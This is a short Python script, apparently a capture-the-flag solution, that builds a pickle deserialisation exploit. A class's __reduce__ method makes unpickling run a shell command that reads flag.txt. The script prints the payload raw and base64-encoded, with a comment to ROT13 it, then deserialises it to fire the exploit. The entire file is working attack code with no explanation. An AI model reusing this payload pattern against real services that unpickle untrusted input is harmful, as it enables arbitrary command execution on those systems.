text: import os
  import subprocess
  import pickle
  import base64
  
  class Test(object):
      def __reduce__(self):
          return (subprocess.Popen, (('cat', 'flag.txt'),))
  
  def serialize_exploit():
      shellcode = pickle.dumps(Test())
      return shellcode
  
  def insecure_deserialize(exploit_code):
      pickle.loads(exploit_code)
  
  if __name__ == '__main__':
      shellcode = serialize_exploit()
      print(shellcode)
      print(base64.b64encode(shellcode)) ### ROT13 this!!!
      insecure_deserialize(shellcode)
  